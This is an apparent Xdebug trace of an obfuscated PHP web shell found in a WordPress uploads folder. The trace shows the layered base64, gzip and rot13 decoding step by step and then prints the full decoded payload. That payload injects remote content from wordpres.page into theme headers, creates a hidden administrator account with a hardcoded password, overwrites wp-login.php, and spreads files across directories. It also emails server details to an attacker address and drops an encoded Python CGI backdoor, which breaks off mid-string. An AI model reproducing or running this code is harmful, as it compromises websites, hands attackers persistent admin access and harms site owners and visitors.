Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:30:23.626745]
1	0	1	0.000198	393528
1	3	0	0.000460	422848	{main}	1		/var/www/html/uploads/wsocgi.php	0	0
1		A						/var/www/html/uploads/wsocgi.php	2	$stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1		A						/var/www/html/uploads/wsocgi.php	3	$stt0 = '=8aWEpfZTdVK7w0zCDRR7ncA/BfoLt/kIQLH93nvf8zXWFmkCXP00Zf+8mbQevpvv9U1HrDW1FmQYP39cQLVJ6Pf5lmwH+6ta/81GnX751fdd02ab1+VbL/4rqiOVvPeaNZrf8rC1OEzPWuo2tK5r/E8yJ9PVxjt4RdPtXhU1NGNfs74tLV02/elvcM68Ed8t2R56nASumudAH673cY7bOe4N5e3ny8Ls4jx3nXUavKPq4nF7c9ZHG+Y7v3Ht73gW8bO7I+Y6hOXBT8Yw+jVeh/uRvb1Vnvn9Gg2f+GsfT1ilQcJyku4xCoxmmSnZfZKJpsnZJCW0Lv/H2FlOLb8f/wUan/eI/Qgik/hH8dD9S696U3Po0vsb9tfv4kuL95LzsGm0wbmMydqvhOTGbMGzy8EeRvYZQ9x9QNkzv7y934tjvAMr5Vx/NwYlwycRNuMunTscJ76Ac1RQLjucsUAzELI8Ul0fJkt4f/Q8vwn4J3cSYeMeqegMA/1Xa1aAPTO'
2	4	0	0.000544	422848	base64_decode	0		/var/www/html/uploads/wsocgi.php	4	1	'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2	4	1	0.000563	423008
2	4	R			'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000'
2	5	0	0.000589	422976	gzinflate	0		/var/www/html/uploads/wsocgi.php	4	1	'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000'
2	5	1	0.000615	423200
2	5	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	0	0.000634	423040	htmlspecialchars_decode	0		/var/www/html/uploads/wsocgi.php	4	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	1	0.000652	423072
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	7	0	0.000685	426224	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'	/var/www/html/uploads/wsocgi.php	4	0
3	8	0	0.000702	426224	strrev	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'=8aWEpfZTdVK7w0zCDRR7ncA/BfoLt/kIQLH93nvf8zXWFmkCXP00Zf+8mbQevpvv9U1HrDW1FmQYP39cQLVJ6Pf5lmwH+6ta/81GnX751fdd02ab1+VbL/4rqiOVvPeaNZrf8rC1OEzPWuo2tK5r/E8yJ9PVxjt4RdPtXhU1NGNfs74tLV02/elvcM68Ed8t2R56nASumudAH673cY7bOe4N5e3ny8Ls4jx3nXUavKPq4nF7c9ZHG+Y7v3Ht73gW8bO7I+Y6hOXBT8Yw+jVeh/uRvb1Vnvn9Gg2f+GsfT1ilQcJyku4xCoxmmSnZfZKJpsnZJCW0Lv/H2FlOLb8f/wUan/eI/Qgik/hH8dD9S696U3Po0vsb9tfv4kuL95LzsGm0wbmMydqvhOTGbMGzy8EeRvYZQ9x9QNkzv7y934tjvAMr5Vx/NwYlwycRNuMunTscJ76Ac1RQLjucsUAzELI8Ul0fJkt4f/Q8vwn4J3cSYeMeqegMA/1Xa1aAPTO'
3	8	1	0.000744	446736
3	8	R			'eJwBUjitxwFNOLLHeJwBQji9xwE9OMLHeJwBMjjNxwEtONLHeJwBIjjdx+1965LiSpLm72mzfgem+thUlVVNlbhVJnPq1LRIQAgQiJsETPeWSRrETSCJFAJppl9in2BfYf/sA+zuA+wjrXuE7ohMzqVnbW3aTtNJobh6eLh/7uHh+vrP2kn7/e9+sFVr7R+V1felqq4KPxV++N4aNflR81/eDOtiezFiue/Nep178+cfs4W/P7veEWrY7lI5+Md337+Ppfno+/f3WHKrfbePq6OFTTLwg/v8Dot/P+5cfaW/S7f06e3nrfaPnnqwP8Gg3r5///vf/VuhUPj97+D/Cq5ieWv7WHixyo+0bKrbIvz4l6OnH6G14LG2PD67O3hmqWtl9e6Px53mqfbx3dvPbz8Wcmb3/n3Y8AEqvQ27eVaX735wycwKP7hfg2bx+4cP72mRoMeg5g+HT28/ffoc1odJvUQO0jVM8O0nrJelDG0gav82iW4382Oy8hXN4kfm'
3	9	0	0.000784	446704	base64_decode	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'eJwBUjitxwFNOLLHeJwBQji9xwE9OMLHeJwBMjjNxwEtONLHeJwBIjjdx+1965LiSpLm72mzfgem+thUlVVNlbhVJnPq1LRIQAgQiJsETPeWSRrETSCJFAJppl9in2BfYf/sA+zuA+wjrXuE7ohMzqVnbW3aTtNJobh6eLh/7uHh+vrP2kn7/e9+sFVr7R+V1felqq4KPxV++N4aNflR81/eDOtiezFiue/Nep178+cfs4W/P7veEWrY7lI5+Md337+Ppfno+/f3WHKrfbePq6OFTTLwg/v8Dot/P+5cfaW/S7f06e3nrfaPnnqwP8Gg3r5///vf/VuhUPj97+D/Cq5ieWv7WHixyo+0bKrbIvz4l6OnH6G14LG2PD67O3hmqWtl9e6Px53mqfbx3dvPbz8Wcmb3/n3Y8AEqvQ27eVaX735wycwKP7hfg2bx+4cP72mRoMeg5g+HT28/ffoc1odJvUQO0jVM8O0nrJelDG0gav82iW4382Oy8hXN4kfm'
3	9	1	0.000866	467216
3	9	R			'x\001R8\001M8x\001B8\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z'
3	10	0	0.001152	446704	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x\001R8\001M8x\001B8\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z'
3	10	1	0.001495	463120
3	10	R			'\001M8x\001B8\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?'
3	11	0	0.001778	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'\001M8x\001B8\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?'
3	11	1	0.002057	459024
3	11	R			'x\001B8\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035'
3	12	0	0.002338	442608	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x\001B8\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035'
3	12	1	0.002621	459024
3	12	R			'\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329'
3	13	0	0.002909	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'\001=8x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329'
3	13	1	0.003187	459024
3	13	R			'x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\03'
3	14	0	0.003474	442608	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x\00128\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\03'
3	14	1	0.003756	459024
3	14	R			'\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\035V\'hI]\0'
3	15	0	0.004038	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'\001-8x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\035V\'hI]\0'
3	15	1	0.004317	459024
3	15	R			'x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\035V\'hI]\032"H+'
3	16	0	0.004596	442608	gzuncompress	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'x\001"8}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\035V\'hI]\032"H+'
3	16	1	0.004877	459024
3	16	R			'}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\035V\'hI]\032"H+!jS='
3	17	0	0.005172	442608	gzinflate	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'}Ji~\aTUMU&sԴH@\b\020\004LI\032M \024\002i_b`_a\003\003#{LΥgmmNIzxI~Uk\037\n?\025~\0325Q_\fb{1bz{\037?\021jR9w߿Xr}M2\016?\\}Kz?޾[P\nbykXxʏl"\037౶<>;xfkeǝo?\026rf}\001*\ryV~p\n?_f\017iǠ\017Oo?}\034ևID\0165L\'\fm j6n7c\025GxD~??ɪP}Dϟǃ}\\\026z?:\035w`\0329\035V\'hI]\032"H+!jS='
3	17	1	0.005600	487696
3	17	R			'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	0	0.005667	471280	str_rot13	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code	1	1	'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	1	0.005748	516368
3	18	R			'<?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          incl'
3	19	0	0.006122	544408	eval	1	'?><?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          include $document_root_file.\'/\'.$a.\'wp-load.php\';\r\n          $wp_detect = 1;\r\n          break;\r\n      }\r\n    }\r\n}\r\n\r\nif($wp_detect == 1)\r\n{\r\n    //Header Yazdırma\r\n    $wp_theme_dir = get_template_directory();\r\n    $header_file = $wp_theme_dir.\'/headers.php\';\r\n    $header_content = file_get_contents($header_file);\r\n    $append = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\n    if(!preg_match(\'#\'.$append.\'#\', $header_content))\r\n    {   \r\n\t    $new_content = $append.$header_content;\r\n\t    $open_file = fopen($header_file, \'w\');\r\n\t    fwrite($open_file, $new_content);\r\n\t    fclose($open_file);\r\n    }\r\n    //Header Yazdırma   \r\n    \r\n    // shell Ekleme\r\n    $user = \'new_admin\';\r\n    $pass = \'Mzj2zr542CwkB#7QDsX^RK@fe@mxBTVAHp\';\r\n    $email = \'byhero44@gmail.com\';\r\n    if (!username_exists( $user ) && !email_exists( $email ) ) {\r\n        $user_id = wp_create_user( $user, $pass, $email );\r\n        $user = new WP_User( $user_id );\r\n        $user->set_role( \'administrator\' );\r\n    } \r\n    // shell Ekleme\r\n    \r\n    // Wp Login Yazma.\r\n    $wp_login = ABSPATH.\'/wp-login.php\';\r\n    $login = http_get(\'https://wordpres.page/txt/seo.txt\');\r\n    $open_login = fopen($wp_login, \'w\');\r\n    fwrite($open_login, $login);\r\n    fclose($open_login);\r\n    // Wp Login Yazma.\r\n}\r\n\r\n\r\n// Shell Yazma\r\n$code = http_get(\'#\');\r\n$wp_code = $document_root.\'/#\';\r\n$open_code = fopen($wp_code, \'w\');\r\nfwrite($open_code, $code);\r\nfclose($open_code);\r\n// Shell Yazma\r\n\r\n// Makale Yazma\r\n$makale = http_get(\'\');\r\n$wp_makale = $document_root.\'/\';\r\n$open_makale = fopen($wp_makale, \'w\');\r\nfwrite($open_makale, $makale);\r\nfclose($open_makale);\r\n// Makale Yazma\r\n\r\n\r\n// Klasörlere Yazma\r\n$directories = expandDirectories($document_root);\r\n$css = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\nforeach($directories as $dir)\r\n{\r\n\tif(!preg_match(\'#wp-content#\', $dir))\r\n\t{\r\n\t    $css_file = $dir.\'/wp-indos.php\';\r\n\t    $open_css = fopen($css_file, \'w\');\r\n\t    fwrite($open_css, $css);\r\n\t    fclose($open_css);\r\n    }\r\n}\r\n// Klasörlere Yazma\r\n\r\nfunction expandDirectories($base_dir) {\r\n      $directories = array();\r\n      foreach(scandir($base_dir) as $file) {\r\n            if($file == \'.\' || $file == \'..\') continue;\r\n            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\r\n            if(is_dir($dir)) {\r\n                $directories []= $dir;\r\n                $directories = array_merge($directories, expandDirectories($dir));\r\n            }\r\n      }\r\n      return $directories;\r\n}\r\nfunction http_get($url)\r\n{\r\n\t$im = curl_init($url);\r\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\r\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\r\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\r\n\treturn curl_exec($im);\r\n\tcurl_close($im);\r\n}\r\n?><?php\r\n$kime = "byhero44@gmail.com";\r\n$baslik = "wsoff 2023";\r\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\nmail($kime, $baslik, $EL_MuHaMMeD);\r\n?>\r\n<?php echo \'<html><form method="POST"><title>priv cgi by DARK0</title><center><img src="https://cdn.dsmcdn.com/ty10/product/media/images/20200815/19/8144792/81575429/0/0_org_zoom.jpg" width="400"><h1>cgi bypass shell<br>Dark0</h1><h3>pass : r00t</h3><button type="submit" name="cgi3">cgi bypass</button>В </center></html>\';\r\n\r\nif(isset($_POST[\'cgi3\'])){ mkdir("dark0cgi"); chdir("dark0cgi"); $kokdosya = ".htaccess"; $dosya_adi = "$kokdosya"; $dosya = fopen($dosya_adi,\'w\'); $metin = "Options +ExecCGI\\nDirectoryIndex dark0.xx\\nAddHandler cgi-script .xx"; fwrite($dosya,$metin); fclose($dosya); $pythonp = \'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHN5cywgb3MsIGNnaSwgY29tbWFuZHMsIHRpbWUsIENvb2tpZSwgc29ja2V0LCBwdHksc2VsZWN0CmZyb20gYmFzZTY0IGltcG9ydCBiNjRlbmNvZGUKZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRlcnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKcGFzc3dvcmQgPSAiMjdkYjc4OTgyMTFjOGNjYmViNGQ1YTk3ZDE5ODgzOWEiICMgcjAwdAp2ZXJzaW9uID0gIjAuNSBbUFJJVjldIgplc2MgPSAnJXNbJyVjaHIoMjcpCmNvbG9yID0gZXNjICsgIjE7MzZtIgpyZXNldCA9IGVzYyArICIwbSIKIyBkb24ndCBhc2sgd2h5IGkgZGlkIGl0IHRoaXMgd2F5LCAnJycgZG9lc250IGFncmVlIHdpdGggcHR5J3MKYXNjaWkgPSBjb2xvciMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmFzY2lpICs9JyAgQEBAQEBAQCBAQEAgIEBAQCBAQEAgQEBAQEBAQCAgQEBAQEBAQCAgQEBAIEBAQCAgQEBAIEBAQEBAQCAgQEBAQEBAICBAQEBAQEBAIFxyXG4nIwphc2NpaSArPScgIUBAICAgICAgQEAhICBAQEAgQEAhIEBAISAgQEBAIEBAISAgQEBAIEBAISAhQEAgIEBAQCAgICAgQEAhICAgICBAQCEgICAgICBAQCFcclxuJyMKYXNjaWkgKz0nICFAISAgICAgIEAhQCFAIUAhICEhQCBAIUBAIUAhICBAIUBAIUAhICAgIUAhQCEgICAhQCEgIEAhISE6ICAgQCEhITogICAgICBAISEgXHJcbicjCmFzY2lpICs9JyA6ISEgICAgICAhITogICEhISAhITogISE6ICAgICAgISE6ICAgICAgICAhITogICAgISEhICAgICAhITogICAgICEhOiAgLiEhOiAgIFxyXG4nIwphc2NpaSArPScgIDo6IDo6IDogIDogICA6IDogOiAgICA6ICAgICAgICA6ICAgICAgICAgLjogICAgIDogICA6OjogOjogIDo6OiA6OiAgOiA6ICAgICBcclxuJyMKYXNjaWkgKz0nICAgICAgICAgICAgIH5bICBQIFIgSSBWIDggIEMgTyBOIE4gRSBDIFQgICBCIEEgQyBLICAgUyBIIEUgTCBMICBdfiAgICAgICAgICAgXHJcbicjCmFzY2lpICs9IHJlc2V0IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAKCmRlZiBnZXRhbGwodGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUoW10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZvcm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtW2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVybiBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJcbiIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3JhZ2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVFU1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIKCl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9zLmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2luKCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleH